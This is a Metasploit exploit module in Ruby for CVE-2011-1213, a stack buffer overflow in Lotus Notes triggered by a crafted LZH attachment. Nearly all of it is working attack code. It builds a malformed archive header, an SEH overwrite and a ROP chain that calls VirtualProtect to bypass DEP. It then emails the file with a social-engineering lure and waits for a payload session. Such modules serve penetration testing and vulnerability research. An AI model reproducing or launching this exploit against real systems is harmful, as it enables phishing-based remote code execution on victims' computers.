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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking # needs client interaction and permanent listener
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  #
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  # This module sends email messages via smtp
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  #
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  include Msf::Exploit::Remote::SMTPDeliver
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
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          parsing a malformed, specially crafted LZH file. This vulnerability was
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          discovered binaryhouse.net
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'binaryhouse.net', # original discovery
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          'alino <26alino[at]gmail.com>', # Metasploit module
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        ],
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        'References' => [
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          ['CVE', '2011-1213'],
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          ['OSVDB', '72706'],
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          ['BID', '48018'],
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          ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
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          ['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
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        ],
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        'Stance' => Msf::Exploit::Stance::Passive,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Platform' => ['win'],
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        'Targets' => [
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          [
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            'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
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            {
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              'Offset' => 6741,
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              'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
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            }
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          ],
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          [
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            'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
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            {
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              'Offset' => 6745,
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              'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
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            }
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          ],
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        ],
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        'DisclosureDate' => '2011-05-24',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        #
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        # Email options
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        #
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        OptString.new('FILENAME',
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                      [false, 'Sets the attachment file name', 'data.lzh']),
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        OptString.new('MESSAGE',
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                      [false, 'Email message text', 'Important message, please view attachment!'])
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      ]
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    )
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    register_advanced_options(
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      [
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        OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
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        OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
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      ]
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    )
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  end
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  def exploit
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    header = "\x08"	# Size of archived file header <-- 8 - 13 = FFFFFFF6
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    header << "\x1a"		# 1 byte Header checksum
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    header << "-lh0-"	# Method ID (No compression)
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    header << "\x7c\x1a\x00\x00"	# Compressed file size
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    header << "\x7c\x1a\x00\x00"	# Uncompressed file size
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    header << "\xB2\x5e\xab\x3c"	# Original file date/time
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    header << "\x20"		# File attribute
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    header << "\x00"		# Level identifier
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    header << "\x07"		# File name length
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    header << "poc.txt"	# File name
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    header << "\x25\x7d"	# 16 bit CRC of the uncompressed file
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    lzh = header
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    lzh << rand_text(target['Offset'])
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    if (target == targets[0])
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      lzh << generate_seh_record(target.ret)
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      lzh << make_nops(8)
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      lzh << payload.encoded
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    elsif (target == targets[1])
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      rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll
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      rop_gadgets =
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        [
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          0x60524404, # POP EAX; RETN nnotes.dll
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          0x7c37a140, # VirtualProtect()
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          0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
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          0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
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          0x60620001, # POP EBP; RETN nnotes.dll
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          0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
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          0x7c34280f, # POP EBX; RETN MSVCR71.dll
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          0x00001954, # dwSize
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          0x780ea001, # POP ECX; RETN MSVCP60.dll
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          0x7c38b000, # lpflOldProtect
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          0x60e73200, # POP EDI; RETN nnotes.dll
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          0x60e73201, # RETN nnotes.dll
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          0x601d5f02, # POP EDX; RETN nnotes.dll
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          0x00000040, # flNewProtect
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          0x60524404, # POP EAX; RETN nnotes.dll
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          0x90909090, # NOP
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          0x60820801, # PUSHAD; RETN nnotes.dll
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        ].pack("V*")
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      lzh << [target.ret].pack('V')
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      lzh[32, rop_nop.length] = rop_nop
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      lzh[220, rop_gadgets.length] = rop_gadgets
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      lzh[289, payload.encoded.length] = payload.encoded
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    end
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    name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10) + 1) + ".lzh"
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    data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32) + 1)
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    msg = Rex::MIME::Message.new
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    msg.mime_defaults
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    msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32) + 1)
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    msg.to = datastore['MAILTO']
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    msg.from = datastore['MAILFROM']
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    msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
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    msg.add_part_attachment(lzh, name)
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    send_message(msg.to_s)
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    print_status("Waiting for a payload session (backgrounding)...")
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    if not datastore['ExitOnSession'] and not job_id
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      fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
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    end
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    stime = Time.now.to_f
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    print_status "Starting the payload handler..."
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    while (true)
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      break if session_created? and datastore['ExitOnSession']
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      break if (datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f))
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      select(nil, nil, nil, 1)
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    end
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  end
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end
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